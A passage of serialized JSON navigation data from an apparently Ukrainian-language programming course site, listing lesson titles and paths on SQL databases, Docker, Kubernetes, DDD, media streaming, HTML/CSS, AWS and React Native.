SQL","\u002Fdatabases\u002Fsql\u002Ftransactions","06.databases\u002F03.sql\u002F07.transactions",{"title":2960,"icon":2865,"path":2961,"stem":2962,"children":2963,"page":59},"Multi Table Databases","\u002Fdatabases\u002Fmulti-table-databases","06.databases\u002F04.multi-table-databases",[2964,2968,2972,2976,2980,2984],{"title":2965,"path":2966,"stem":2967},"Зв'язки та нормалізація БД","\u002Fdatabases\u002Fmulti-table-databases\u002Frelationships-and-normalization","06.databases\u002F04.multi-table-databases\u002F00.relationships-and-normalization",{"title":2969,"path":2970,"stem":2971},"INNER JOIN - З'єднання таблиць","\u002Fdatabases\u002Fmulti-table-databases\u002Finner-join","06.databases\u002F04.multi-table-databases\u002F01.inner-join",{"title":2973,"path":2974,"stem":2975},"OUTER JOINs - LEFT, RIGHT, FULL","\u002Fdatabases\u002Fmulti-table-databases\u002Fouter-joins","06.databases\u002F04.multi-table-databases\u002F02.outer-joins",{"title":2977,"path":2978,"stem":2979},"CROSS та SELF JOINs","\u002Fdatabases\u002Fmulti-table-databases\u002Fcross-self-joins","06.databases\u002F04.multi-table-databases\u002F03.cross-self-joins",{"title":2981,"path":2982,"stem":2983},"Підзапити (Subqueries)","\u002Fdatabases\u002Fmulti-table-databases\u002Fsubqueries","06.databases\u002F04.multi-table-databases\u002F04.subqueries",{"title":2985,"path":2986,"stem":2987},"Агрегації з JOIN","\u002Fdatabases\u002Fmulti-table-databases\u002Faggregations-with-joins","06.databases\u002F04.multi-table-databases\u002F05.aggregations-with-joins",{"title":2989,"icon":2990,"path":2991,"stem":2992,"children":2993,"page":59},"Aggregate Functions","i-lucide-calculator","\u002Fdatabases\u002Faggregate-functions","06.databases\u002F05.aggregate-functions",[2994,2998,3002],{"title":2995,"path":2996,"stem":2997},"Функції агрегування в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fintroduction-aggregate-functions","06.databases\u002F05.aggregate-functions\u002F01.introduction-aggregate-functions",{"title":2999,"path":3000,"stem":3001},"Групування даних в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fgrouping-data","06.databases\u002F05.aggregate-functions\u002F02.grouping-data",{"title":3003,"path":3004,"stem":3005},"Підзапити з агрегатними функціями","\u002Fdatabases\u002Faggregate-functions\u002Fsubqueries-aggregates","06.databases\u002F05.aggregate-functions\u002F03.subqueries-aggregates",{"title":3007,"icon":3008,"path":3009,"stem":3010,"children":3011,"page":59},"Тригери та зберігаємі процедури","i-lucide-database-zap","\u002Fdatabases\u002Ftriggers-stored-procedures","06.databases\u002F07.triggers-stored-procedures",[3012,3016,3020,3024,3028,3032,3036],{"title":3013,"path":3014,"stem":3015},"DML-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fdml-triggers","06.databases\u002F07.triggers-stored-procedures\u002F01.dml-triggers",{"title":3017,"path":3018,"stem":3019},"DDL-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fddl-triggers","06.databases\u002F07.triggers-stored-procedures\u002F02.ddl-triggers",{"title":3021,"path":3022,"stem":3023},"Transact-SQL розширення","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransact-sql-extensions","06.databases\u002F07.triggers-stored-procedures\u002F03.transact-sql-extensions",{"title":3025,"path":3026,"stem":3027},"Транзакції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransactions","06.databases\u002F07.triggers-stored-procedures\u002F04.transactions",{"title":3029,"path":3030,"stem":3031},"Зберігаємі процедури","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fstored-procedures","06.databases\u002F07.triggers-stored-procedures\u002F05.stored-procedures",{"title":3033,"path":3034,"stem":3035},"Користувацькі функції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fuser-defined-functions","06.databases\u002F07.triggers-stored-procedures\u002F06.user-defined-functions",{"title":3037,"path":3038,"stem":3039},"Безпека баз даних","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fsecurity","06.databases\u002F07.triggers-stored-procedures\u002F08.security",{"title":3037,"icon":793,"path":3041,"stem":3042,"children":3043,"page":59},"\u002Fdatabases\u002Fsecurity","06.databases\u002F08.security",[3044,3048],{"title":3045,"path":3046,"stem":3047},"Вступ до безпеки баз даних","\u002Fdatabases\u002Fsecurity\u002Fintroduction","06.databases\u002F08.security\u002F01.introduction",{"title":3049,"path":3050,"stem":3051},"Системні представлення та метадані","\u002Fdatabases\u002Fsecurity\u002Fsystem-views","06.databases\u002F08.security\u002F02.system-views",{"title":3053,"icon":3054,"path":3055,"stem":3056,"children":3057,"page":59},"Резервне копіювання та відновлення","i-lucide-database-backup","\u002Fdatabases\u002Fbackup-recovery","06.databases\u002F09.backup-recovery",[3058],{"title":3053,"path":3059,"stem":3060},"\u002Fdatabases\u002Fbackup-recovery\u002Fbackup-restore","06.databases\u002F09.backup-recovery\u002F01.backup-restore",{"title":3062,"icon":3063,"path":3064,"stem":3065,"children":3066,"page":59},"Повнотекстовий пошук","i-lucide-search","\u002Fdatabases\u002Ffull-text-search","06.databases\u002F10.full-text-search",[3067],{"title":3062,"path":3068,"stem":3069},"\u002Fdatabases\u002Ffull-text-search\u002Ffull-text-search","06.databases\u002F10.full-text-search\u002F01.full-text-search",{"title":3071,"icon":3072,"path":3073,"stem":3074,"children":3075,"page":59},"Tools","i-lucide-wrench","\u002Ftools","07.tools",[3076,3152],{"title":3077,"icon":3078,"path":3079,"stem":3080,"children":3081},"Docker","i-simple-icons-docker","\u002Ftools\u002Fdocker","07.tools\u002F01.docker\u002Findex",[3082,3084,3088,3092,3096,3100,3104,3108,3112,3116,3120,3124,3128,3132,3136,3140,3144,3148],{"title":3083,"path":3079,"stem":3080},"Docker: від нуля до production",{"title":3085,"path":3086,"stem":3087},"Контейнеризація — від проблеми до рішення","\u002Ftools\u002Fdocker\u002Fcontainerization-concept","07.tools\u002F01.docker\u002F01.containerization-concept",{"title":3089,"path":3090,"stem":3091},"Docker — що це і навіщо?","\u002Ftools\u002Fdocker\u002Fdocker-what-and-why","07.tools\u002F01.docker\u002F02.docker-what-and-why",{"title":3093,"path":3094,"stem":3095},"Архітектура Docker Engine","\u002Ftools\u002Fdocker\u002Fdocker-architecture","07.tools\u002F01.docker\u002F03.docker-architecture",{"title":3097,"path":3098,"stem":3099},"Встановлення Docker","\u002Ftools\u002Fdocker\u002Finstallation","07.tools\u002F01.docker\u002F04.installation",{"title":3101,"path":3102,"stem":3103},"Перший контейнер — docker run","\u002Ftools\u002Fdocker\u002Ffirst-container","07.tools\u002F01.docker\u002F05.first-container",{"title":3105,"path":3106,"stem":3107},"Життєвий цикл контейнера","\u002Ftools\u002Fdocker\u002Fcontainer-lifecycle","07.tools\u002F01.docker\u002F06.container-lifecycle",{"title":3109,"path":3110,"stem":3111},"Docker Images — фундаментальні концепції","\u002Ftools\u002Fdocker\u002Fdocker-images-fundamentals","07.tools\u002F01.docker\u002F07.docker-images-fundamentals",{"title":3113,"path":3114,"stem":3115},"Dockerfile — основи","\u002Ftools\u002Fdocker\u002Fdockerfile-basics","07.tools\u002F01.docker\u002F08.dockerfile-basics",{"title":3117,"path":3118,"stem":3119},"Dockerfile — просунуті техніки","\u002Ftools\u002Fdocker\u002Fdockerfile-advanced","07.tools\u002F01.docker\u002F09.dockerfile-advanced",{"title":3121,"path":3122,"stem":3123},"Build Context та кешування шарів","\u002Ftools\u002Fdocker\u002Fbuild-context-and-cache","07.tools\u002F01.docker\u002F10.build-context-and-cache",{"title":3125,"path":3126,"stem":3127},"Реєстри Docker-образів","\u002Ftools\u002Fdocker\u002Fimage-registries","07.tools\u002F01.docker\u002F11.image-registries",{"title":3129,"path":3130,"stem":3131},"Контейнеризація .NET додатків","\u002Ftools\u002Fdocker\u002Fdotnet-containerization","07.tools\u002F01.docker\u002F12.dotnet-containerization",{"title":3133,"path":3134,"stem":3135},"Томи та збереження даних","\u002Ftools\u002Fdocker\u002Fvolumes-and-data","07.tools\u002F01.docker\u002F13.volumes-and-data",{"title":3137,"path":3138,"stem":3139},"Основи мережі в Docker","\u002Ftools\u002Fdocker\u002Fnetworking-basics","07.tools\u002F01.docker\u002F14.networking-basics",{"title":3141,"path":3142,"stem":3143},"Змінні оточення та конфігурація","\u002Ftools\u002Fdocker\u002Fenvironment-and-configuration","07.tools\u002F01.docker\u002F15.environment-and-configuration",{"title":3145,"path":3146,"stem":3147},"Docker Compose — оркестрація контейнерів","\u002Ftools\u002Fdocker\u002Fdocker-compose-basics","07.tools\u002F01.docker\u002F16.docker-compose-basics",{"title":3149,"path":3150,"stem":3151},"Docker Compose — Multi-Service застосунки","\u002Ftools\u002Fdocker\u002Fcompose-multi-service","07.tools\u002F01.docker\u002F17.compose-multi-service",{"title":3153,"icon":3154,"path":3155,"stem":3156,"children":3157},"Kubernetes","simple-icons:kubernetes","\u002Ftools\u002Fkubernetes","07.tools\u002F02.kubernetes\u002Findex",[3158,3160,3164,3168,3172,3176,3180,3184,3188],{"title":3159,"path":3155,"stem":3156},"Kubernetes: від розробки до production",{"title":3161,"path":3162,"stem":3163},"Kubernetes — коли Docker Compose більше не вистачає","\u002Ftools\u002Fkubernetes\u002Fwhy-kubernetes","07.tools\u002F02.kubernetes\u002F01.why-kubernetes",{"title":3165,"path":3166,"stem":3167},"Архітектура Kubernetes — анатомія кластера","\u002Ftools\u002Fkubernetes\u002Fkubernetes-architecture","07.tools\u002F02.kubernetes\u002F02.kubernetes-architecture",{"title":3169,"path":3170,"stem":3171},"Локальне середовище — minikube, kind та k3s","\u002Ftools\u002Fkubernetes\u002Flocal-environment","07.tools\u002F02.kubernetes\u002F03.local-environment",{"title":3173,"path":3174,"stem":3175},"Pod — атомарна одиниця Kubernetes","\u002Ftools\u002Fkubernetes\u002Fpods-and-containers","07.tools\u002F02.kubernetes\u002F04.pods-and-containers",{"title":3177,"path":3178,"stem":3179},"Патерни використання Pod","\u002Ftools\u002Fkubernetes\u002Fpod-patterns","07.tools\u002F02.kubernetes\u002F05.pod-patterns",{"title":3181,"path":3182,"stem":3183},"Deployment — декларативне управління Pod","\u002Ftools\u002Fkubernetes\u002Fdeployment-basics","07.tools\u002F02.kubernetes\u002F06.deployment-basics",{"title":3185,"path":3186,"stem":3187},"Rolling Updates та управління життєвим циклом Deployment","\u002Ftools\u002Fkubernetes\u002Fdeployment-rolling-updates","07.tools\u002F02.kubernetes\u002F07.deployment-rolling-updates",{"title":3189,"path":3190,"stem":3191},"Service — мережева абстракція для Pod","\u002Ftools\u002Fkubernetes\u002Fservices-networking","07.tools\u002F02.kubernetes\u002F08.services-networking",{"title":3193,"icon":3194,"path":3195,"stem":3196,"children":3197,"page":59},"Software Engineering","i-lucide-code-2","\u002Fsoftware-engineering","09.software-engineering",[3198,3202,3206,3210,3214,3218,3222,3226,3230,3234,3238],{"title":3199,"path":3200,"stem":3201},"1. Аналіз предметної області. Експертні знання та складність","\u002Fsoftware-engineering\u002Fintro-subdomains","09.software-engineering\u002F01.intro-subdomains",{"title":3203,"path":3204,"stem":3205},"2. Обмежені контексти. Інтеграція обмежених контекстів","\u002Fsoftware-engineering\u002Fintegrating-limited-contexts","09.software-engineering\u002F02.integrating-limited-contexts",{"title":3207,"path":3208,"stem":3209},"3. Реалізація простої бізнес-логіки","\u002Fsoftware-engineering\u002Fsimple","09.software-engineering\u002F03.simple",{"title":3211,"path":3212,"stem":3213},"4. Опрацювання складної бізнес-логіки","\u002Fsoftware-engineering\u002Fcomplex-business-logic","09.software-engineering\u002F04.complex-business-logic",{"title":3215,"path":3216,"stem":3217},"5. Моделювання фактора часу. Подієво-орієнтована архітектура.","\u002Fsoftware-engineering\u002Fmodelling-the-time-factor","09.software-engineering\u002F05.modelling-the-time-factor",{"title":3219,"path":3220,"stem":3221},"6. Архітектурні патерни","\u002Fsoftware-engineering\u002Farchitectural-patterns","09.software-engineering\u002F06.architectural-patterns",{"title":3223,"path":3224,"stem":3225},"Паттерни взаємодії","\u002Fsoftware-engineering\u002Fpatterns-of-interaction","09.software-engineering\u002F07.patterns-of-interaction",{"title":3227,"path":3228,"stem":3229},"Евристика проєктування","\u002Fsoftware-engineering\u002Fdesign-heuristics","09.software-engineering\u002F08.design-heuristics",{"title":3231,"path":3232,"stem":3233},"Еволюція проєктних рішень","\u002Fsoftware-engineering\u002Fevolution-of-design-solutions","09.software-engineering\u002F09.evolution-of-design-solutions",{"title":3235,"path":3236,"stem":3237},"EventStorming","\u002Fsoftware-engineering\u002Feventstorming","09.software-engineering\u002F10.eventstorming",{"title":3239,"path":3240,"stem":3241},"DDD на практиці","\u002Fsoftware-engineering\u002Fddd-in-practice","09.software-engineering\u002F11.ddd-in-practice",{"title":3243,"icon":943,"path":3244,"stem":3245,"children":3246,"page":59},"DDD","\u002Fddd","10.ddd",[3247,3251,3255,3259,3263,3267,3271,3275,3279,3283,3287,3291,3295],{"title":3248,"path":3249,"stem":3250},"Аналіз предметної області","\u002Fddd\u002Fdomain-analysis","10.ddd\u002F01.domain-analysis",{"title":3252,"path":3253,"stem":3254},"Експертні знання про предметну область","\u002Fddd\u002Fdomain-expert-knowledge","10.ddd\u002F02.domain-expert-knowledge",{"title":3256,"path":3257,"stem":3258},"Як осмислити складність предметної області","\u002Fddd\u002Fmanaging-domain-complexity","10.ddd\u002F03.managing-domain-complexity",{"title":3260,"path":3261,"stem":3262},"Інтеграція обмежених контекстів","\u002Fddd\u002Fbounded-context-integration","10.ddd\u002F04.bounded-context-integration",{"title":3264,"path":3265,"stem":3266},"Реалізація простої бізнес-логіки","\u002Fddd\u002Fsimple-business-logic","10.ddd\u002F05.simple-business-logic",{"title":3268,"path":3269,"stem":3270},"Обробка складної бізнес-логіки","\u002Fddd\u002Fcomplex-business-logic","10.ddd\u002F06.complex-business-logic",{"title":3272,"path":3273,"stem":3274},"Моделювання фактора часу","\u002Fddd\u002Ftime-modeling","10.ddd\u002F07.time-modeling",{"title":3276,"path":3277,"stem":3278},"Глава 8. Архітектурні Патерни","\u002Fddd\u002Farchitectural-patterns","10.ddd\u002F08.architectural-patterns",{"title":3280,"path":3281,"stem":3282},"Глава 9. Патерни Взаємодії","\u002Fddd\u002Finteraction-patterns","10.ddd\u002F09.interaction-patterns",{"title":3284,"path":3285,"stem":3286},"Глава 10. Проектні Евристики","\u002Fddd\u002Fdesign-heuristics","10.ddd\u002F10.design-heuristics",{"title":3288,"path":3289,"stem":3290},"Глава 11. Еволюція Проектних Рішень","\u002Fddd\u002Fevolution-of-design-decisions","10.ddd\u002F11.evolution-of-design-decisions",{"title":3292,"path":3293,"stem":3294},"Глава 12. EventStorming","\u002Fddd\u002Fevent-storming","10.ddd\u002F12.event-storming",{"title":3296,"path":3297,"stem":3298},"Глава 13. DDD на Практиці","\u002Fddd\u002Fddd-in-practice","10.ddd\u002F13.ddd-in-practice",{"title":3300,"icon":3301,"path":3302,"stem":3303,"children":3304,"page":59},"Media Streaming","i-lucide-video","\u002Fmedia-streaming","11.media-streaming",[3305,3309,3313,3317,3321,3325,3329],{"title":3306,"path":3307,"stem":3308},"01. Магія Стрімінгу: Що відбувається, коли ви натискаєте \"Play\"","\u002Fmedia-streaming\u002Fintroduction","11.media-streaming\u002F01.introduction",{"title":3310,"path":3311,"stem":3312},"02. Анатомія Медіа: Кодеки, Контейнери та Стиснення","\u002Fmedia-streaming\u002Faudio-video-anatomy","11.media-streaming\u002F02.audio-video-anatomy",{"title":3314,"path":3315,"stem":3316},"03. The Gym: FFmpeg Deep Dive","\u002Fmedia-streaming\u002Fffmpeg-gym","11.media-streaming\u002F03.ffmpeg-gym",{"title":3318,"path":3319,"stem":3320},"04. HLS Protocol: HTTP Live Streaming у Деталях","\u002Fmedia-streaming\u002Fhls-protocol","11.media-streaming\u002F04.hls-protocol",{"title":3322,"path":3323,"stem":3324},"05. DASH Protocol: Відкритий Стандарт","\u002Fmedia-streaming\u002Fdash-protocol","11.media-streaming\u002F05.dash-protocol",{"title":3326,"path":3327,"stem":3328},"06. Масштабування: CDN та Adaptive Bitrate","\u002Fmedia-streaming\u002Fcdn-and-adaptive-bitrate","11.media-streaming\u002F06.cdn-and-adaptive-bitrate",{"title":3330,"path":3331,"stem":3332},"07. Війна із Затримкою (Latency)","\u002Fmedia-streaming\u002Frealtime-latency","11.media-streaming\u002F07.realtime-latency",{"title":3334,"icon":3335,"path":3336,"stem":3337,"children":3338,"page":59},"HTML & CSS","i-devicon-html5","\u002Fhtml-css","12.html-css",[3339,3343,3347,3351,3355,3359,3363,3367,3371,3375,3379,3383,3387,3391,3395,3399,3403,3407,3411,3415,3419,3423,3427,3431,3435,3439,3443,3447,3451,3455],{"title":3340,"path":3341,"stem":3342},"Вступ до HTML. Структура документа","\u002Fhtml-css\u002Fintro-html-structure","12.html-css\u002F01.intro-html-structure",{"title":3344,"path":3345,"stem":3346},"Форматування тексту в HTML","\u002Fhtml-css\u002Fhtml-text-formatting","12.html-css\u002F02.html-text-formatting",{"title":3348,"path":3349,"stem":3350},"Посилання та зображення в HTML","\u002Fhtml-css\u002Fhtml-links-images","12.html-css\u002F03.html-links-images",{"title":3352,"path":3353,"stem":3354},"Списки та таблиці в HTML","\u002Fhtml-css\u002Fhtml-lists-tables","12.html-css\u002F04.html-lists-tables",{"title":3356,"path":3357,"stem":3358},"Форми в HTML","\u002Fhtml-css\u002Fhtml-forms","12.html-css\u002F05.html-forms",{"title":3360,"path":3361,"stem":3362},"Семантичні елементи HTML5","\u002Fhtml-css\u002Fhtml-semantic-elements","12.html-css\u002F06.html-semantic-elements",{"title":3364,"path":3365,"stem":3366},"Мультимедіа та розширені елементи HTML","\u002Fhtml-css\u002Fhtml-multimedia-advanced","12.html-css\u002F07.html-multimedia-advanced",{"title":3368,"path":3369,"stem":3370},"Мікророзмітка та SEO в HTML","\u002Fhtml-css\u002Fhtml-microdata-seo","12.html-css\u002F08.html-microdata-seo",{"title":3372,"path":3373,"stem":3374},"Вступ до CSS. Селектори та специфічність","\u002Fhtml-css\u002Fcss-intro-selectors","12.html-css\u002F09.css-intro-selectors",{"title":3376,"path":3377,"stem":3378},"Блокова модель CSS. Відступи. Box Sizing","\u002Fhtml-css\u002Fcss-box-model","12.html-css\u002F10.css-box-model",{"title":3380,"path":3381,"stem":3382},"Розміри у CSS: повний довідник одиниць і ключових слів","\u002Fhtml-css\u002F10a.css-sizing","12.html-css\u002F10a.css-sizing",{"title":3384,"path":3385,"stem":3386},"Типографіка в CSS. Шрифти та текст","\u002Fhtml-css\u002Fcss-typography","12.html-css\u002F11.css-typography",{"title":3388,"path":3389,"stem":3390},"Кольори та фони в CSS","\u002Fhtml-css\u002Fcss-colors-backgrounds","12.html-css\u002F12.css-colors-backgrounds",{"title":3392,"path":3393,"stem":3394},"Тіні та фільтри в CSS","\u002Fhtml-css\u002F12b.css-shadows-filters","12.html-css\u002F12b.css-shadows-filters",{"title":3396,"path":3397,"stem":3398},"CSS Flexbox: Фундамент гнучких макетів","\u002Fhtml-css\u002Fcss-flexbox-fundamentals","12.html-css\u002F13.css-flexbox-fundamentals",{"title":3400,"path":3401,"stem":3402},"CSS Flexbox: Вирівнювання та Позиціонування","\u002Fhtml-css\u002Fcss-flexbox-alignment-sizing-and-patterns","12.html-css\u002F14.css-flexbox-alignment-sizing-and-patterns",{"title":3404,"path":3405,"stem":3406},"CSS Grid. Двовимірний макет. Частина 1","\u002Fhtml-css\u002Fcss-layout-grid","12.html-css\u002F15.css-layout-grid",{"title":3408,"path":3409,"stem":3410},"CSS Grid. Двовимірний макет. Частина 2","\u002Fhtml-css\u002Fcss-layout-grid-advanced","12.html-css\u002F16.css-layout-grid-advanced",{"title":3412,"path":3413,"stem":3414},"Позиціонування в CSS. Z-index. Stacking Context","\u002Fhtml-css\u002Fcss-positioning","12.html-css\u002F17.css-positioning",{"title":3416,"path":3417,"stem":3418},"CSS Анімації та Переходи","\u002Fhtml-css\u002Fcss-animations-transitions","12.html-css\u002F18.css-animations-transitions",{"title":3420,"path":3421,"stem":3422},"Адаптивний дизайн. Media Queries. Частина 1","\u002Fhtml-css\u002Fcss-responsive-media-queries","12.html-css\u002F19.css-responsive-media-queries",{"title":3424,"path":3425,"stem":3426},"Адаптивний дизайн. Частина 2: clamp(), Container Queries, @layer","\u002Fhtml-css\u002Fcss-responsive-advanced","12.html-css\u002F20.css-responsive-advanced",{"title":3428,"path":3429,"stem":3430},"CSS Custom Properties. Методології. Сучасний CSS","\u002Fhtml-css\u002Fcss-variables-methodologies","12.html-css\u002F21.css-variables-methodologies",{"title":3432,"path":3433,"stem":3434},"Сучасний CSS 2023–2025: Нові можливості","\u002Fhtml-css\u002Fcss-modern-features","12.html-css\u002F22.css-modern-features",{"title":3436,"path":3437,"stem":3438},"CSS Nesting, @layer, @scope та @property: нативний препроцесор","\u002Fhtml-css\u002F22a.css-nesting-modern-syntax","12.html-css\u002F22a.css-nesting-modern-syntax",{"title":3440,"path":3441,"stem":3442},"CSS для форм та інтерактивних станів","\u002Fhtml-css\u002Fcss-forms-interactive-states","12.html-css\u002F23.css-forms-interactive-states",{"title":3444,"path":3445,"stem":3446},"Доступність у CSS (CSS Accessibility)","\u002Fhtml-css\u002Fcss-accessibility","12.html-css\u002F24.css-accessibility",{"title":3448,"path":3449,"stem":3450},"CSS-функції та сучасні sizing primitives","\u002Fhtml-css\u002Fcss-functions-sizing","12.html-css\u002F25.css-functions-sizing",{"title":3452,"path":3453,"stem":3454},"Rendering Pipeline і CSS Performance","\u002Fhtml-css\u002Fcss-rendering-performance","12.html-css\u002F26.css-rendering-performance",{"title":3456,"path":3457,"stem":3458},"CSS Best Practices: типові ситуації та правильні рішення","\u002Fhtml-css\u002Fcss-best-practices","12.html-css\u002F27.css-best-practices",{"title":3460,"path":3461,"stem":3462,"children":3463,"page":59},"AWS","\u002Faws","13.aws",[3464,3468,3472,3476,3480,3484,3488,3492,3496,3500,3504,3508,3512,3516,3520,3524,3528,3532],{"title":3465,"path":3466,"stem":3467},"Реєстрація AWS акаунту та студентські програми","\u002Faws\u002Faccount-registration","13.aws\u002F00.account-registration",{"title":3469,"path":3470,"stem":3471},"Вступ до хмарних обчислень та AWS","\u002Faws\u002Fintroduction-to-cloud","13.aws\u002F01.introduction-to-cloud",{"title":3473,"path":3474,"stem":3475},"AWS IAM — Identity and Access Management","\u002Faws\u002Fiam","13.aws\u002F02.iam",{"title":3477,"path":3478,"stem":3479},"AWS IAM CLI — Довідник команд","\u002Faws\u002F02a.iam-doc","13.aws\u002F02a.iam-doc",{"title":3481,"path":3482,"stem":3483},"Docker та контейнеризація в AWS — ECR, ECS та Fargate","\u002Faws\u002Fdocker-ecs","13.aws\u002F03.docker-ecs",{"title":3485,"path":3486,"stem":3487},"AWS ECR \u002F ECS CLI — Довідник команд","\u002Faws\u002F03a.docker-ecs-doc","13.aws\u002F03a.docker-ecs-doc",{"title":3489,"path":3490,"stem":3491},"Amazon EC2 — Elastic Compute Cloud","\u002Faws\u002Fec2","13.aws\u002F04.ec2",{"title":3493,"path":3494,"stem":3495},"AWS EC2 CLI — Довідник команд","\u002Faws\u002F04a.ec2-doc","13.aws\u002F04a.ec2-doc",{"title":3497,"path":3498,"stem":3499},"Elastic Load Balancing та Auto Scaling","\u002Faws\u002Falb-asg","13.aws\u002F05.alb-asg",{"title":3501,"path":3502,"stem":3503},"Amazon S3 — Simple Storage Service","\u002Faws\u002Fs3","13.aws\u002F06.s3",{"title":3505,"path":3506,"stem":3507},"Amazon CloudFront — Content Delivery Network","\u002Faws\u002Fcloudfront","13.aws\u002F07.cloudfront",{"title":3509,"path":3510,"stem":3511},"Amazon RDS — Relational Database Service","\u002Faws\u002Frds","13.aws\u002F08.rds",{"title":3513,"path":3514,"stem":3515},"Amazon DynamoDB — NoSQL Database","\u002Faws\u002Fdynamodb","13.aws\u002F09.dynamodb",{"title":3517,"path":3518,"stem":3519},"AWS Lambda та Serverless Compute","\u002Faws\u002Flambda","13.aws\u002F10.lambda",{"title":3521,"path":3522,"stem":3523},"Amazon Bedrock - Foundation Models, RAG та Agents","\u002Faws\u002Fbedrock","13.aws\u002F22.bedrock",{"title":3525,"path":3526,"stem":3527},"Amazon Rekognition - Комп'ютерний зір","\u002Faws\u002Frekognition","13.aws\u002F23.rekognition",{"title":3529,"path":3530,"stem":3531},"Amazon Textract - Інтелектуальний аналіз документів","\u002Faws\u002Ftextract","13.aws\u002F24.textract",{"title":3533,"path":3534,"stem":3535},"Amazon Polly, Transcribe, Comprehend та Translate","\u002Faws\u002Faudio-nlp-services","13.aws\u002F25.audio-nlp-services",{"title":3537,"path":3538,"stem":3539,"children":3540,"page":59},"Ai Development","\u002Fai-development","14.ai-development",[3541],{"title":3542,"path":3543,"stem":3544,"children":3545,"page":59},"Foundations","\u002Fai-development\u002Ffoundations","14.ai-development\u002F00.foundations",[3546],{"title":3547,"path":3548,"stem":3549},"Модуль 0.1. Що таке Large Language Model (LLM)","\u002Fai-development\u002Ffoundations\u002Fwhat-is-llm","14.ai-development\u002F00.foundations\u002F01.what-is-llm",{"title":3551,"path":3552,"stem":3553,"children":3554,"page":59},"React Native","\u002Freact-native","15.react-native",[3555,3576],{"title":3556,"path":3557,"stem":3558,"children":3559,"page":59},"Version1","\u002Freact-native\u002Fversion1","15.react-native\u002Fversion1",[3560,3564,3568,3572],{"title":3561,"path":3562,"stem":3563},"Що таке React Native","\u002Freact-native\u002Fversion1\u002Fwhat-is-react-native","15.react-native\u002Fversion1\u002F01.what-is-react-native",{"title":3565,"path":3566,"stem":3567},"Як влаштований React Native «під капотом»","\u002Freact-native\u002Fversion1\u002Freact-native-architecture","15.react-native\u002Fversion1\u002F02.react-native-architecture",{"title":3569,"path":3570,"stem":3571},"Від React до React Native: ключові відмінності","\u002Freact-native\u002Fversion1\u002Freact-native-vs-react","15.react-native\u002Fversion1\u002F03.react-native-vs-react",{"title":3573,"path":3574,"stem":3575},"View та Text — фундаментальні будівельні блоки","\u002Freact-native\u002Fversion1\u002Fview-and-text","15.react-native\u002Fversion1\u002F04.view-and-text",{"title":3577,"path":3578,"stem":3579,"children":3580,"page":59},"Version2","\u002Freact-native\u002Fversion2","15.react-native\u002Fversion2",[3581,3585,3589,3593,3597,3601,3605,3609,3613,3617,3621,3625,3629,3633,3637,3641,3645,3649,3653,3657,3661,3665,3669,3673,3677,3681,3685],{"title":3582,"path":3583,"stem":3584},"React Native — навіщо він потрібен","\u002Freact-native\u002Fversion2\u002Fwhy-react-native","15.react-native\u002Fversion2\u002F01.why-react-native",{"title":3586,"path":3587,"stem":3588},"Налаштування середовища розробки","\u002Freact-native\u002Fversion2\u002Fenvironment-setup","15.react-native\u002Fversion2\u002F02.environment-setup",{"title":3590,"path":3591,"stem":3592},"Expo і класичний React Native — два шляхи одного фреймворку","\u002Freact-native\u002Fversion2\u002Fexpo-vs-cli-landscape","15.react-native\u002Fversion2\u002F03.expo-vs-cli-landscape",{"title":3594,"path":3595,"stem":3596},"Середовище Expo — перший запуск","\u002Freact-native\u002Fversion2\u002Fexpo-setup-and-tooling","15.react-native\u002Fversion2\u002F04.expo-setup-and-tooling",{"title":3598,"path":3599,"stem":3600},"Структура проєкту та перші UI-примітиви","\u002Freact-native\u002Fversion2\u002Fproject-structure-and-conventions","15.react-native\u002Fversion2\u002F05.project-structure-and-conventions",{"title":3602,"path":3603,"stem":3604},"Базові компоненти React Native","\u002Freact-native\u002Fversion2\u002Fcore-components","15.react-native\u002Fversion2\u002F06.core-components",{"title":3606,"path":3607,"stem":3608},"Flexbox і layout у React Native","\u002Freact-native\u002Fversion2\u002Fflexbox-and-layout","15.react-native\u002Fversion2\u002F07.flexbox-and-layout",{"title":3610,"path":3611,"stem":3612},"StyleSheet і теми (light \u002F dark)","\u002Freact-native\u002Fversion2\u002Fstylesheet-and-theming","15.react-native\u002Fversion2\u002F08.stylesheet-and-theming",{"title":3614,"path":3615,"stem":3616},"Списки та віртуалізація","\u002Freact-native\u002Fversion2\u002Flists-and-virtualization","15.react-native\u002Fversion2\u002F09.lists-and-virtualization",{"title":3618,"path":3619,"stem":3620},"Форми, ввід і валідація","\u002Freact-native\u002Fversion2\u002Fforms-input-validation","15.react-native\u002Fversion2\u002F10.forms-input-validation",{"title":3622,"path":3623,"stem":3624},"Основи Expo Router","\u002Freact-native\u002Fversion2\u002Fexpo-router-basics","15.react-native\u002Fversion2\u002F11.expo-router-basics",{"title":3626,"path":3627,"stem":3628},"Вкладені навігатори та модалки","\u002Freact-native\u002Fversion2\u002Fnested-navigators-and-modals","15.react-native\u002Fversion2\u002F12.nested-navigators-and-modals",{"title":3630,"path":3631,"stem":3632},"Deep linking і параметри маршрутів","\u002Freact-native\u002Fversion2\u002Fdeep-linking-and-params","15.react-native\u002Fversion2\u002F13.deep-linking-and-params",{"title":3634,"path":3635,"stem":3636},"Робота з мережею та життєвий цикл застосунку","\u002Freact-native\u002Fversion2\u002Fnetworking-and-app-lifecycle","15.react-native\u002Fversion2\u002F14.networking-and-app-lifecycle",{"title":3638,"path":3639,"stem":3640},"Redux Toolkit на мобільних платформах","\u002Freact-native\u002Fversion2\u002Fredux-toolkit-on-mobile","15.react-native\u002Fversion2\u002F15.redux-toolkit-on-mobile",{"title":3642,"path":3643,"stem":3644},"RTK Query на мобільних платформах","\u002Freact-native\u002Fversion2\u002Frtk-query-mobile","15.react-native\u002Fversion2\u002F16.rtk-query-mobile",{"title":3646,"path":3647,"stem":3648},"Автентифікація та Безпечне Зберігання","\u002Freact-native\u002Fversion2\u002Fauth-secure-storage","15.react-native\u002Fversion2\u002F18.auth-secure-storage",{"title":3650,"path":3651,"stem":3652},"Локальне сховище — AsyncStorage, MMKV, 